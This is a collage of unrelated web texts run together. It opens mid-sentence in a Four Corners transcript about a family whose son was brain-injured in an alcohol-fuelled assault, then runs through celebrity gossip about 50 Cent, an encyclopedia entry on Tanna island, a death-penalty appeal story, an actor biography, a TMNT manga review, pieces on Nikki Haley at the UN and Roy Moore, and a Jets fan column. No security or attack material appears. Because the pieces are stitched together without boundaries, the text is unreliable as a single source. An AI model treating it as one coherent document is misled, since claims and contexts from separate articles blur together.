days I was coming home from school and mum was upset cause I had- I'd just drawn on myself all day, like up my arms and up my legs. JANINE COHEN: Joel did badly in his HSC but blames no one, especially not Sam. (Joel talking to Sam in the pool) JOEL FORD: Oh words can't even describe how much I love Sam. He's everything in our lives. Normally, like, brothers fight and brothers do all these things but it takes something like this to realise how much you actually do love him and how much you actually um... enjoy his company (crying). Sorry. JANINE COHEN: Like Joel, Margaret and Michael have battled depression. (Long shot of the family on the beach with Sam in a wheelchair) MARGARET FORD: I still wake up every morning and wish it hadn't happened and I wake up sort of thinking 'Oh my god, it wasn't a dream'. And I feel really, really sad first thing in the morning and... I just wish I could take it away from Sam. If I could take over the injury I would, you know in a split second. (Crying) I struggle. I struggle all the time. Some days it's really hard. You just have to pick yourself up and we pick each other up because we all struggle. It's just like a rollercoaster. You've just got to keep picking yourself up and you've just got to keep saying, 'I'm doing this for Sam. I'm doing this so he can get back'. JANINE COHEN: Any changes to the liquor laws in Australia will come too late for Sam and his family. MARGARET FORD: What's your life like now Sam? (Makes the thumb down sign) Not very good? SAM FORD: No. MARGARET FORD: And Sam what is the message for other young people thinking of drinking and going and punching people? What would you say to them? (Puts his thumb down) SAM FORD: No. Mm mmm... (shakes his head) MARGARET FORD: No, it's devastating isn't it - devastating to lives like yours. (Sam nods) KERRY O'BRIEN: It's worth nothing that trials like that in Newcastle have occured in Northbridge, Western Australia, Whyalla, South Australia, and in limited form in Inner City Melbourne. Both the Northbridge and Whyalla trials led to reduced alcohol-related offenses and arrests. The Melbourne trial fell away after 25 per cent of licensed venues took legal action to exempt themselves from the trial. Next week on Four Corners, a salutary tale for anyone with investment savings. Don't miss it. Until then, good night. END OF TRANSCRIPT Background Information RELATED NEWS AND MEDIA A brief history of alcohol consumption in Australia | The Conversation| 25 Feb 2013 - Although most Australians would probably say we've always been a heavy-drinking nation, the consumption of alcohol has followed a roller coaster curve since European invasion. Social acceptance of alcohol allows us to ignore its harms | The Conversation| 25 Feb 2013 - Alcohol-related health information should be delivered in a way that generates discussion and consideration of its personal relevance, so it's not easily dismissed as an issue for other people. State's anti-boozing site links children to online dating, peptides webpages | SMH | 20 Feb 2013 - Children have been directed to websites containing adult relationship advice, instructions on taking peptides and other inappropriate content through a new government site that is supposed to raise awareness about alcohol misuse. Drugs, grog blamed for more attacks on police | ABC News | 20 Feb 2013 - The top police officer in the Kimberley says drugs and alcohol are to blame for a blowout in assaults against police in the past year. Media Release: Small Bars Legislation introduced in Parliament | Minister for the Arts | 20 Feb 2013 - The purpose of the new licence is to provide an alternative for patrons who prefer a small, intimate venue and a quiet night out. The introduction of a small bar licence also recognises that larger venues which attract significant numbers of patrons can contribute to alcohol-related violence and anti-social behaviour. [PDF 94Kb] Media Release: Increased physical assaults in 2011-12 | Australian Bureau of Statistics | 19 Feb 2013 - The number of physical assaults in 2011-12 rose to 2.2 million, up 44 per cent since 2010-11, according to Australian Bureau of Statistics (ABS) figures released today. Media Release: UK expert backs AMA call for tighter controls on alcohol marketing | AMA | 18 Feb 2013 - The AMA is calling on the Federal Government to launch an inquiry into the marketing of alcohol amid an unprecedented push by the industry to lure young people into early and potentially harmful drinking patterns. The perfect cocktail...and other tips for safer, healthier alcohol regulation | Crikey.com | 18 Feb 2013 - At an alcohol policy forum hosted by the Australian Medical Association in Canberra, Sir Ian, the Royal College of Physicians' Special Advisor on Alcohol and Chair of the United Kingdom's Alcohol Health Alliance, described how a mix of persistent advocacy, serendipity and evidence created a cocktail for change in alcohol policy. Audio: My Intoxicating Career | Radio National | 17 Feb 2013 - Whether they're actors, musicians or poets there can be repercussions from taking to the stage night after night in pubs and theatres. We'll hear some performers strut their stuff on stage and we'll find out what goes on in the dressing rooms, behind the front and in the minds, of these entertainers. Media Release: Alohol Advertising and Children - Call for Action | MCAAY | 12 Feb 2013 - A Jim Beam Racing children's clothing product has been described as the most shocking example of alcohol advertising yet seen in Australia. The McCusker Centre for Action on Alcohol and Youth has called for urgent action by the Federal Government to end alcohol advertising targeting or using children and young people. [PDF 200Kb] Jim Beam brand driven home to children | SMH | 11 Feb 2013 - Jim Beam-branded clothing is being sold to children as young as four, in what public health experts have said is one of the most shocking examples of alcohol advertising they have seen. KEY REPORTS DANTE Report: Dealing with Alcohol-related harm and the night time economy | NDLERF | Dec 2012 - 'The estimated cost of alcohol to the community is $15.3 billion, including crime, violence, treatment costs, loss of productivity and premature deaths in 2004-05.' 'Alcohol has been identified as a factor in three quarters of assaults, and offensive behaviour on the street.' Read more in this report from the National Drug Law Enforcement Research Fund. [PDF 7.6Mb] Draft Report Exploring the Public Interest Case for a Minimum (floor) Price for Alcohol | ANPHA | Nov 2012 - View the full report from the Australian National Preventative Health Agency, plus summary and submissions, here. Young adults' experience of responsible service of alcohol in NSW: 2011 update | Crime and Justice Bulletin | Apr 2012 - Aim: To determine whether the provision of responsible service of alcohol (RSA) changed in NSW licensed premises between 2002 and 2011. [PDF 477Kb] Inquiry into Alcohol-Related Violence - Final Report | Qld Law, Justice & Safety Cttee | Mar 2010 - This Parliamentary report focuses on alcohol related violence around licensed premises. [PDF 531Kb] The Range and Magnitude of Alcohol's Harm to Others | Alcohol Education and Rehabilitation Foundation | 2010 - This study represents a sustained and comprehensive effort to quantify alcohols harm to others. According to the report, almost three-quarters of all adults in Australia were negatively affected over a one-year period by someone elses' drinking, in ways ranging from minor annoyance to physical violence or death. MORE INFO AND LINKS The Alcohol Policy Coalition is a collaboration of health agencies with shared concern relating to the misuse of alcohol and its health/social impacts on the community. alcoholpolicycoalition.org.au/ Arbias provides support services to people with an acquired brain injury, specialising in alcohol and other drug related brain injury. www.arbias.org.au/ Binge drinking | @ReachOut_AUS - Information on short and long term effects of binge drinking on your physical and mental health. au.reachout.com/All-about-binge-drinking Centre for Alcohol Policy Research | @CAPRAustralia - An innovative, world-renowned research facility at the forefront of informed alcohol policy development. www.capr.edu.au/ Cringe the Binge | @CringeTheBinge - A national campaign to reverse youth binge drinking. www.cringethebinge.com.au/ Drink Tank | @DrinkTankAu - Aims to generate meaningful commentary and debate about alcohol policy, and to provide a platform for all members of the Australian community to share their views and concerns. drinktank.org.au/ DrinkWise Australia is an independent, not-for-profit organisation focused on promoting change towards a healthier and safer drinking culture in Australia. www.drinkwise.org.au/ FARE Foundation for Alcohol Research and Education | @FAREAustralia - An independent, charitable organisation working to prevent the harmful use of alcohol in Australia. www.fare.org.au/ Help and Support | DrugInfo - For information about alcohol and other drugs browse the DrugInfo website or call 1300 85 85 84. www.druginfo.adf.org.au/.../help-and-support Last Drinks Campaign - A campaign launched by concerned emergency service workers, aimed at lessening the burden that alcohol-related violence places on their services, and the greater community each year. lastdrinks.org.au/ McCusker Centre for Action on Alcohol and Youth - The aim of MCAAY is to reduce levels of drinking, harmful drinking and alcohol problems among young people. www.mcaay.org.au/ National Alliance for Action on Alcohol is a national coalition of over 70 health and community organisations from across Australia that has been formed with the goal of reducing alcohol-related harm. www.actiononalcohol.org.au/ The National Drug and Alcohol Research Centre | @NDARCNEWS - Conducts research to increase the effectiveness of treatments for drug and alcohol related harms. www.ndarc.med.unsw.edu.au/ NHMRC - Federal Government guidelines on safe drinking. www.nhmrc.gov.au/your-health/alcohol-guidelines The Police Association of NSW | @PoliceAssocNSW - Represents the professional & industrial interests of around 16000 police officers in the state of NSW. www.pansw.org.au/ ReGenUC | @ReGenUC - To promote health and reduce alcohol and other drug related harm. www.regen.org.au SMART Recovery Australia is a voluntary self-help group that assists people in recovering from alcohol, drug use and other addictive behaviours. smartrecoveryaustralia.com.au/ Turning Point Alcohol & Drug Centre was established in 1994 to provide leadership to the alcohol and drug field in Victoria. www.turningpoint.org.au/ Youth Off The Streets is a non-denominational community organisation working for young people who are disadvantaged, homeless, drug dependent and or recovering from abuse. www.youthoffthestreets.com.au/ -Get the biggest celebs stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email 50 Cent spent Monday evening ‘making it rain’ in a strip club just hours after he announced he was bamkrupt. Making it rain is a term used to describe throwing a wad of cash around in a strip club. The 53-year-old - who announced he was broke after losing a £3.2 million sex tape case – can be seen holding dollar bills while at the Ace of Diamonds in West Hollywood. (Image: Film Magic) His appearance at the club – being so casual with money – may come as a surprise after the hip hop star , real name Curtis James Jackson III, issued papers in the US Bankruptcy Court in Hartford, Connecticut on Monday. It came three days after was ordered to pay Lavonia Leviston £3.2 million when a jury determined the rapper had intentionally acquired an X-rated video she made with her boyfriend, added himself as a crude commentator and posted it online without her permission to embarrass his rap rival Rick Ross. The rapper has been ordered to show proof of his income and worth so that the jury can deliberate. TMZ reports that Fiddy claims that his assets are valued between $10 million and $50 million but his debts amount are in the same range. Last weekthe rapper was seen partying with what appeared to be $100 bills hanging out of his jeans pocket during a club appearance. According to TMZ, he was carrying a total was $5,000 in $100 bills. Fiddy will be in London on Friday for a show with G Unit at the O2 IN London. -Tanna (also spelled Tana) is an island in Tafea Province of Vanuatu. Geography [ edit ] It is 40 kilometres (25 miles) long and 19 kilometres (12 miles) wide, with a total area of 550 square kilometres (212 square miles). Its highest point is the 1,084-metre (3,556-foot) summit of Mount Tukosmera in the south of the island. Siwi Lake was located in the east, northeast of the peak, close to the coast until mid April 2000 when following unusually heavy rain, the lake burst down the valley into Sulphur Bay, destroying the village with no loss of life. Mount Yasur is an accessible active volcano which is located on the southeast coast. History [ edit ] Cannibal Feast on Tanna by Charles E. Gordon Frazer c. 1885-9 by Charles E. Gordon Frazer c. 1885-9 Tanna was first settled about 400 BC by Melanesians from the surrounding islands. The glowing light of Mount Yasur attracted James Cook, the first European to visit the island, in August 1774, where he landed in an inlet on the southeastern tip of the island that he named Port Resolution after his ship HMS Resolution. He gave the island the name of Tanna, probably from the local name for earth, tana in the Kwamera language.[1] In the 19th century, traders and missionaries (chiefly Presbyterian) arrived. The Tannese stuck to their traditions more strongly than other islands; there remain fewer Christians in comparison with the other islands of Vanuatu. Tanna was not a principal site of World War II, but about 1,000 people from Tanna were recruited to work on the American military base on Éfaté. Exposure to First World living standards may have led to the development of cargo cults. Many have died out, but the John Frum cult remains strong on Tanna today, especially at Sulphur Bay in the south east and Green Point in the South West of the Island. A recent documentary Waiting for John (2015) by Jessica Sherry provides a history and overview of the current scene regarding these beliefs.[2] A secessionist movement began in the 1970s, and the Nation of Tanna was proclaimed on 24 March 1974. While the British were more open to allowing its holdings in Vanuatu to achieve independence, it was opposed by the French colonists and finally suppressed by the Anglo-French Condominium authorities on June 29, 1974. Flag of the Island of Tanna In 1980, there was another attempt to secede, declaring the Tafea Nation on 1 January 1980, its name coming from the initials of the five islands that were to be part of the nation (Tanna, Aniwa, Futuna, Erromango and Aneityum). British forces intervened on 26 May 1980, allowing the island to become part of the newly independent nation of Vanuatu on 30 July 1980. Tanna and nearby Erromango were devastated by cyclone Pam in mid-March 2015, with reports of an unknown number of deaths, complete destruction of the island’s infrastructure and permanent shelters, and no drinking water.[3] Following this, an El Niño-spurred drought further impacted on the people of Tanna.[4] Culture and economy [ edit ] Population [ edit ] It is the most populous island in Tafea Province, with a population of about 29,000,[5] and one of the most populous islands in the country. Isangel, the provincial administrative capital, is on the west coast near the island's largest town of Lénakel. Tanna is populated almost entirely by Melanesians and they follow a more traditional lifestyle than many other islands. Some of the higher altitude villages are known as kastom villages, where modern inventions are restricted, the inhabitants wear penis sheaths (Bislama: nambas) and grass skirts, and the children do not go to public schools. According to anthropologist Joël Bonnemaison, author of "The Tree and the Canoe: history and ethnography of Tanna," their resistance to change is due to their traditional worldview and how they "perceive, internalise, and account for the dual concepts of space and time." [6] John Frum movement [ edit ] The island is the centre of the John Frum religious movement, which attracts tourist interest as a cargo cult. The first John appeared at night as a spirit at a place called Green Point and told the people to return to their traditional way of life, or kastom. From that time kastom on Tanna has been seen as an alternative to the modernity encouraged by many missionary denominations. Yaohnanen is the centre of the Prince Philip Movement, which reveres Prince Philip, Duke of Edinburgh, the prince consort of the United Kingdom. The cult is examined by British writer Matthew Baylis in his 2013 book Man Belong Mrs Queen: Adventures with the Philip Worshippers.[7] Christian missionary John Gibson Paton served in Tanna in the mid 1800s. Cannibalism was practiced before Christianity swept the island. In the biography of Paton the horror of the pagan practice of abusing and murdering disobedient wives is detailed. Language [ edit ] There are three main languages spoken on Tanna: the southern language of Kwamera, the South-Western language adjacent to the slopes of Tokosmera, of which there are many dialects spoken by very small groupings, constitute two of the languages. The remaining majority of Tanna islanders speak four dialects, being North Tanna in the northwest, Lénakel in the west-central area near Lénakel, and the middle bush dialect in the central plateau of the island, which is very close to Lenakel Whitesands in the northeast near Whitesands. These are generally grouped into the Tanna languages family, which is a subgroup of the South Vanuatu languages, an Austronesian language branch. According to Ethnologue, each is spoken by a few thousand, and Lénakel, with 8,000 speakers, is one of the dialects of Vanuatu with the most speakers. Many people on Tanna also speak Bislama, which is one of Vanuatu's three official languages (together with English and French). Economy [ edit ] The island is one of the most fertile in Vanuatu and produces kava, coffee, coconut, copra, and other fruits and vegetables. Recently, tourism has become more important, as tourists are attracted to the volcano and traditional culture.[8] To help preserve the integrity of culture as a tourism asset, only local people are permitted to act as guides. There are various types of accommodation on the island. The active volcano, Mount Yasur, at dusk. Children from Yankel Village. Coast of Tanna after rain. Cultural references [ edit ] Five men from Tanna's Prince Philip Movement cargo cult, which considers Prince Philip, Duke of Edinburgh a god, were brought to the United Kingdom as part of the Channel 4 reality show Meet the Natives in 2007. Part of their itinerary included an off-screen meeting with the prince.[9] In An Idiot Abroad, Series 2, Episode 1, Karl Pilkington visited Tanna and discussed the Prince Philip Movement and met those who visited Windsor Castle. In 2009 the Travel Channel aired Meet the Natives: USA, which brought five men from another group from Tanna to the United States.[10] Their tribe reveres Tom Navy, an American World War II sailor who generations ago had taught the inhabitants to live in peace. The Tanna ambassadors were taken across, visiting five states, and eventually meeting former United States Secretary of State Colin Powell and verifying with him that the spirit of peace taught by Tom Navy lives on in then U.S. President, Barack Obama. While visiting with a family on Fort Stewart, US Army Major-General Tony Cucolo conferred a World War II Victory Medal and an Asiatic-Pacific Campaign Medal upon the chief in representation of the contribution the people of Tanna in World War II. Tanna, a film depicting the true story of a couple who decided to marry for love, rather than obey their parents' wishes, is set on the island,[11][8] and was nominated for the Best Foreign Language Film at the 89th Academy Awards.[12] Transportation [ edit ] The island is served by Whitegrass Airport. References [ edit ] -A federal appeals court that had blocked the scheduled February execution of a Georgia man whose lawyers say is mentally disabled has lifted its stay, clearing the way for a new execution date. A three-judge panel of the 11th US circuit court of appeals said in an opinion published Monday that inmate Warren Lee Hill cannot submit his case to a federal court for reconsideration for procedural reasons, including the fact that his claim of mental disability was presented in an earlier petition and can't be presented again. In the 2-1 ruling, the circuit judges also said Hill's claim only challenges his eligibility for the death sentence, not his underlying guilt, making him ineligible for reconsideration. Hill was sentenced to die for the 1990 beating death of fellow inmate Joseph Handspike. Hill bludgeoned Handspike with a nail-studded board while his victim slept, authorities said. At the time, Hill was already serving a life sentence for the 1986 death of his girlfriend, Myra Wright, who was shot 11 times. Brian Kammer, a lawyer for Hill, said he is pondering his next move following Monday's opinion. "We are deeply disappointed," Kammer said of the decision, adding it would bar consideration of what he called compelling new evidence in Hill's case. "The new evidence shows that every mental health expert ever to examine him finds that Mr Hill has mental retardation and he is thus ineligible for execution" under the US constitution, Kammer said in a statement. The Georgia attorney general's office declined comment on the development. The 11th circuit decision means a new execution date could be set at any time. But the state's supply of execution drug pentobarbital expired last month, and the drug has become increasingly difficult to obtain since its manufacturer has barred its use for executions. The department of corrections will try to get more at the appropriate time, said spokeswoman Gwendolyn Hogan. No executions are currently scheduled in Georgia. In 1988, Georgia became the first state to pass a law prohibiting the execution of mentally disabled death row inmates, and the US supreme court ruled in 2002 that the execution of mentally disabled offenders was unconstitutional. But Georgia also has the strictest-in-the-nation standard for death-row inmates seeking to avoid execution. It requires them to prove their mental disability beyond a reasonable doubt. The state of Georgia has long argued that Hill's lawyers have failed to do that. Since the supreme court ruling, many prosecutors have chosen not to pursue the death penalty if there's even a hint of evidence that mental disability is a possibility owing to the challenges that could be raised, said Richard Dieter, executive director of the Death Penalty Information Center. What is unusual about Hill's case, he said, is that the experts who examined the inmate now seem to be in agreement that Hill is mentally disabled, but the courts are refusing to stop his execution based on legal technicalities, Dieter said. The 11th circuit panel granted a stay in February after Hill's lawyers argued he was eligible for reconsideration in federal court because three doctors who had testified in 2000 that Hill was not mentally disabled provided statements in February saying they had changed their opinions and now believe he is. In filings with the 11th circuit, the state said the doctors' new statements were not credible and also argued Hill was procedurally barred from asking a federal court to reconsider his case. In the majority opinion, circuit judge Frank Hull writes that the court recognizes Hill has submitted new evidence to support his claims but says the core argument — that Hill is mentally disabled and therefore shouldn't be executed — remain the same. The 11th circuit and other courts have repeatedly held that new evidence and new legal arguments in support of a prior claim aren't enough to overcome the statutory bar on repeat petitions, Hull writes. In the dissenting opinion, circuit judge Rosemary Barkett, writes that Hill has offered "uncontroverted evidence" of his mental disability and said she doesn't believe there is no choice but to allow the execution to go forward simply because his claim doesn't meet narrow procedural standards. -Documentary about Gordon Murray, who designs some of the most innovative Formula 1 cars, and his attempts to build an inexpensive, lightweight city car for the masses - the T-25. In the secretive world of F1 designers, Professor Gordon Murray is a legendary figure. Having spent 40 years designing one innovative car after another, his portfolio includes the most successful F1 car ever raced and what is widely considered to be the greatest sports car of all time. But today Professor Murray has set himself even more challenging goals as his focus turns from racetrack to public road. In an ever more congested world, Murray believes that personal mobility has become a defining problem of our times. As a car lover, he is powerfully motivated to preserve the freedom of the open road - his solution is a new city car called T-25. For T-25 Murray aims to transfer F1 technology to an inexpensive, lightweight city car for the masses. But is the industry at large prepared for the radical overhaul that Murray plans? From Brabham and the eccentric 'Fan Car', through unbeatable designs for Senna and Prost and the milestone McLaren F1 sports car, and right up to date with the arrival of T25, How To Go Faster and Influence People is a compelling account of Gordon Murray's remarkable design journey. -This article is about the actor. For other people, see Daniel Butler Daniel Eugene Butler (born December 2, 1954) is an American actor known for his role as Bob "Bulldog" Briscoe on the TV series Frasier. Education [ edit ] Butler was born in Huntington, Indiana, and raised in Fort Wayne, the son of Shirley, a housewife, and Andrew Butler, a pharmacist.[1] While a drama student at Indiana University in 1975, he received the Irene Ryan Acting Scholarship, sponsored by the Kennedy Center.[2] From 1976–78 he trained at the American Conservatory Theatre in San Francisco.[3] Career [ edit ] Butler is best known for his role as Bob "Bulldog" Briscoe in the NBC sitcom Frasier, appearing in every season but one between 1993 and 2004. The character was a volatile, boorish, intensely macho sports presenter who hosted the show which followed Frasier's daily broadcast at the radio station KACL. In 2006, Butler produced and starred in the faux documentary Karl Rove, I Love You (which he also co-wrote and co-directed).[4] Other film work includes roles in Silence of the Lambs and Longtime Companion.[5] Butler is also an established stage actor. In 2018 he played Lenin in the Broadway revival of Tom Stoppard's Travesties.[6] Other recent appearances include as Truman Capote in American Repertory Theatre's 2017 production of Rob Roth's Warhol/Capote[7] and Jack in the 2013 Off-Broadway production of Conor McPherson's The Weir.[8] Personal life [ edit ] Butler lives in Vermont and is married to producer Richard Waterhouse.[4] He came out to his family when he was in his early 20s. He wrote a one-man show, The Only Thing Worse You Could Have Told Me, which opened in Los Angeles in 1994 and also played in San Francisco and off-Broadway in New York. It was Butler's public coming out. The play had ten characters "just processing what gay means". He was nominated for the 1995 Drama Desk Award for Outstanding One-Person Show.[5][4] Featured television roles [ edit ] Guest appearances [ edit ] -Finally getting the chance to read (and translate) Hiroshi Kanno’s Teenage Mutant Ninja Turtles manga, Mutant Turtles Gaiden, was something of a dream come true for me. Though the feature is now defunct, back when ninjaturtles.com was still owned and operated by Mirage, it had a page dedicated strictly to the various TMNT manga that graced Japan’s shelves… albeit the page was full of incomplete information, vague credits and only a handful of low quality scans. But, for all those who also felt intrigued by the mystery, and lunacy, of the vintage ’90s Ninja Turtles comics, the whole run has been translated for your pleasure. You can find a directory of links to complete volume .cbr downloads at TMNT Entity on the off chance you’d like to follow along with this review. This stuff can get pretty weird. On to Chapter 2! Beat the Phony Turtles! As this chapter begins, the Ninja Turtles have apparently gone rogue; looting jewelry stores and assaulting police officers. April O’Neil even reports the strange thefts on the Channel 6 news program, though what she should really be investigating are the strange bubbles that never cease hovering around her head for no discernible reason. The Turtles, now no longer wearing speedos, naturally feel betrayed, but April informs them that the news is the news. If they want to prove their innocence… then they gotta prove it! Elsewhere, Shredder plots to steal a gem known as the Jewel of the Nile from the clutches of Michael Douglas. Actually, it’s being held at a facility operated by “High Pressure Curbon”. Presumably Kanno was going for “Carbon”, but you know. Engrish. Shredder orders Bebop and Rocksteady (who suddenly exists, now) to take the robotic False Turtles to the surface and steal the Jewel of the Nile. If you haven’t guessed yet, “Beat the Phony Turtles!” is Kanno’s loose adaptation of the cartoon episode “Return of the Shredder”. That story had Shredder forming a group of imposters called the Crooked Ninja Turtle Gang to frame the TMNT for various crimes. While the cartoon portrayed the Crooked Ninja Turtle Gang as a group of juveniles wearing paper bags over their heads: Kanno reinvents them as lumbering robots alternately called the Mecha Turtles because, duh, he’s Japanese: At least they sort of get Bebop’s “accent” right. Anyway, the real Turtles are staking out High Pressure Engrish based on a hunch from April and they’re cornered by the police, who mistake them for the False Turtles. Things look bad until Bebop and Rocksteady show up with the False Turtles, who scare the police off and promptly attack the Ninja Turtles. The TMNT find they can’t make a dent in the False Turtles, as their armored hides bust all their weapons. Bowing their heads in shame, the Turtles admit defeat. And when the odds are against them and all hope seems lost, there’s only one force the Japanese know of that can turn the tide: BURNING JUSTICE! Well, that’s just Japan’s answer for *everything*, now isn’t it? So by utilizing the justice inside them, the Turtles trash the robots and win the day. Except they don’t win the day. The False Turtles were all a diversion orchestrated by the Shredder to keep them busy whilst he stole the Jewel of the Nile. The Shredder, Bebop and Rocksteady escape with the jewel and the Turtles lose. On the bright side, though, April clears their name by attributing the robberies to the robots and so all are rewarded with the most delicious pizza Michelangelo has ever made. All except Michelangelo, who has his slice eaten by Donatello, resulting in a corny comedy beat ending. Because not even the Japanese are immune to such lazy, eye-rolling conclusions. While I can’t deny that juvenile delinquents with grocery bags on their faces are pretty hilarious, the False Turtles may have an edge over the Crooked Ninja Turtle Gang just by virtue of being some pretty awesome robots. Sadly, they have one fatal design flaw: A vulnerability to complete bullshit. -Holding up photos of dead children as justification for potential war, U.S. Ambassador to the United Nations Nikki Haley said Wednesday that if the U.N. doesn't take action in Syria, "we may." "When the U.N. consistently fails in its duty to act collectively, there are times in the life of states that we are compelled to take our own action," Haley told the U.N. Security Council at an emergency meeting called in response to Tuesday's suspected chemical attack in Syria's northern province of Idlib. CNN described her remarks as "the most direct threat of unilateral action by the U.S. delegation at the U.N. to solve the Syria crisis." Tom Newton Dunn, political editor for the U.K.'s Sun newspaper, said on Twitter that Haley's comments on U.N. inaction were reminiscent of those "that George W Bush's administration used at [the] U.N. in late 2002," to justify the invasion of Iraq. Substantial development on Syria. Very similar language that George W Bush's administration used at UN in late 2002; pic.twitter.com/ItacYnzNAJ — Tom Newton Dunn (@tnewtondunn) April 5, 2017 SCROLL TO CONTINUE WITH CONTENT Help Keep Common Dreams Alive Our progressive news model only survives if those informed and inspired by this work support our efforts The threat came even as Haley herself acknowledged: "We don't yet know everything about yesterday's attack." The former governor of South Carolina also blamed Russia for having "shielded [Syrian President Bashar al-]Assad from U.N. sanctions." "We need to see them put an end to these horrific acts," she said. "How many more children have to die before Russia cares?" The investigative outlet Airwars, which tracks international airstrikes in the Middle East, reports that a total of 701 children and 391 women are reported to be among those killed in confirmed and likely U.S. coalition airstrikes in Iraq and Syria since August 2014. Nikki Haley is holding up pix of dead Syrian kids at UN. Wonder if next she'll hold up pix of Syrian & Iraqi kids killed by US airstrikes. — Mehdi Hasan (@mehdirhasan) April 5, 2017 Meanwhile, at the Pentagon on Wednesday, Defense Secretary James Mattis said Tuesday's chemical attack "was a heinous act and will be treated as such." -Today, HRC renewed its call for the removal of Chief Justice Roy Moore from the Alabama Supreme Court for failing to do his job and follow the law. Last year, HRC and other civil rights organizations joined the Southern Poverty Law Center’s (SPLC) ethics complaint with the Judicial Inquiry Commission of Alabama, seeking Moore’s removal for violating the obligations of his office. The complaint details Moore’s blatant disregard for the law, including communications in which he urges Governor Robert Bentley and members of the state’s probate judges association to ignore federal court rulings striking down Alabama’s ban on marriage equality. “With order after order, Chief Justice Moore has flagrantly defied every federally binding pro-marriage equality ruling, and his obligation to follow the law,” said JoDee Winterhof, HRC Senior Vice President of Policy and Political Affairs. “Moore’s personal opinions are not at issue here. As a lawyer and as a judge, he took an oath to uphold the laws of the United States. If he refuses to do so, he should be removed from office, and censured for his obstructionist tactics.” Chief Justice Moore and his lawyer, Mat Staver of the notoriously anti-LGBT group the Liberty Counsel, addressed the complaints at press conference today, where they referred to them as “politically motivated,” and claimed that Moore did not break any laws. Moore also went on a tirade against the transgender community, repeatedly calling transgender people “mentally ill.” Since January 2015, when Alabama’s marriage ban was first struck down, Chief Justice Moore has used his position on the state Supreme Court to block marriage equality in Alabama at every juncture. Following the first ruling that found Alabama’s marriage equality ban unlawful, Moore wrote to a letter to the Governor requesting that the ruling be ignored as non-binding “judicial tyranny,” and informing the state’s probate judges that they could ignore the ruling. Moore’s actions prompted HRC to collect and deliver to the Judicial Inquiry Committee petitions signed by 28,000 people demanding his removal. The Judicial Inquiry Commission has yet to respond. Chief Justice Moore caused havoc again in January when he issued another shameful order claiming that the U.S. Supreme Court’s decision in Obergefell v. Hodges does not specifically address Alabama’s marriage equality ban. Moore justified his unconscionable position by asserting that state law allows him to "take affirmative and appropriate action to correct or alleviate any condition or situation adversely affecting the administration of justice within the state." Despite his opposition to marriage equality, Moore last month was forced to dismiss a final challenge to the state’s marriage ban with was brought by local anti-LGBT groups. Not surprisingly, Chief Justice Moore is being represented by Mat Staver, of the Liberty Counsel -- an organization that has been designated an anti-LGBT hate group by the SPLC. Most recently they have represented Kim Davis, the infamous Kentucky County Clerk who flouted the law by refusing to issue marriage licenses to same-sex couples. The group is also responsible for the recent uptick in state legislation across the country which seeks to bar transgender people from accessing bathroom facilities consistent with their gender identity. Moore is no stranger to this variety of ethics complaint. He was previously removed by the state’s Supreme Court in 2003 for ignoring a federal court’s order to remove a Ten Commandments monument in the rotunda of the Alabama Judicial Building. -You've just finished filming the end run of one of TV's all-time greatest badass characters, and you want to commemorate the experience with some body art. If you're "Breaking Bad" triple Emmy winner Bryan Cranston, where does the ink of the show's "Br Ba" elemental chart logo go? On a tiny little part of your right-hand ring finger. OK, maybe not what you would have expected from the man who has so brilliantly played meek chemistry teacher turned drug kingpin Walter White for five seasons. But Cranston, 57, reveals in GQ magazine's August cover story that, while one of the show's camera assistants got the "Bad" logo tattooed on his "tuchus," Cranston opted for a more modest remembrance. [Related: Bryan Cranston Was a 'Power Rangers' Villain AND Hero] Nathaniel Goldberg/GQ More "I wanted something … something that would give me private personal pleasure, like when I pass by and catch a glimpse of a picture of my mom, or my old manager. People who are gone now," says Cranston, whose wife says he is not a tattoo guy. "And it seemed appropriate. I mean, 'Breaking Bad' changed my life." The actor — who does indeed look very GQ in photos that find him sporting suits from Dolce & Gabbana, Calvin Klein, DKNY, and Emporio Armani — also talks about how he almost became a cop instead of an actor, his parents' divorce when he was 12, his decade-long estrangement from his father, and how a single elective he was forced to take in college (one he chose only because of its early landing in the alphabet) changed his career path. [Related: Best Suits Under $400] "If acting had been called 'schmacting,' I may have wound up taking archery," Cranston says. View photos Nathaniel Goldberg/GQ More The feature — written by Brett Martin, the author of the must-read new book "Difficult Men: Behind the Scenes of a Creative Revolution: From 'The Sopranos' and 'The Wire' to 'Mad Men' and 'Breaking Bad'" — also reveals the "Breaking Bad" writers' room contains a fan letter from Henry "The Fonz" Winkler, that the equally comedically gifted Cranston had a fondness for various phallic props to bring levity to the "Bad" set, and that the actor thinks everyone, in the right circumstances, could become "an extremely dangerous person." His personal example: an ex-girlfriend who once followed him from Los Angeles to New York and became his stalker, leaving messages on his answering machine about how she was going to "cut your balls off," "have your d--- sawed off," and then kill him. And then she showed up at his apartment door. -I have had this question directed to me multiple times this offseason… Why should I watch jets football this year? — Robert Z (@Rob_Z_31) July 30, 2017 …Let’s take a quick stab at answering why and how you should consume New York Jets football in 2017. On paper, it is more than fair to assume the Jets will be one of the worst teams in the NFL. Their offseason strategy is clearly looking towards the future, rather than finding a way to be as competitive as possible in 2017. This strategy is logical and while it may not have been executed perfectly, the roster is young enough to offer copious amounts of playing time to the team’s draft picks from 2015-2017. This season is a testing ground for Mike Maccagnan, Todd Bowles and the infrastructure they have built to scout players. You are watching this year to see if the current front office and management has any modicum of an idea of what they are doing. The Jets very may well have assembled a collection of promising young talent who will make up the backbone of an ascending team or they have missed the mark and will need an even larger rebuild than expected. This season is about figuring out if Christian Hackenberg, Brandon Shell, Juston Burris, Lorenzo Mauldin, Darron Lee, Deon Simon and Jordan Jenkins can play. It is about figuring out the actual ceiling of players like Quincy Enunwa, Robby Anderson, Brian Winters and Wesley Johnson. It is about getting a glimpse of just how good Jamal Adams could be and seeing if it was crazy to follow his selection with another safety in Marcus Maye. If you are reading this site, presumably you like football. You are watching because football is only on a few months a year. What else are you watching on Sunday rather a sport you profess to enjoy watching? The Jets may be bad but the hope is they will not be dumb and lazy, which they were last season (along with being bad, of course). It is more enjoyable to watch players in their young 20s trying to prove themselves than Darrelle Revis trudge around after his third plate of ribs with his Patriots Super Bowl ring on. This is the type of year where some fans like to get preachy to other fans. Don’t fall into this. Nobody wants to hear a lecture on how to be a “real fan.” Putting aside blogging and tweeting, this fan is aware it is likely better for the Jets long term future to be 2-14 rather than 7-9. This does not mean I’ll be actively rooting for the team to lose (especially early in the season). It does mean losses will sting a little less than in a normal season and each week will be approached with a different level of expectations. That is just me. Some fans will be openly rooting for losses starting in week 1. Some fans will be openly rooting for wins in December even if the team is 2-12. To each his own. 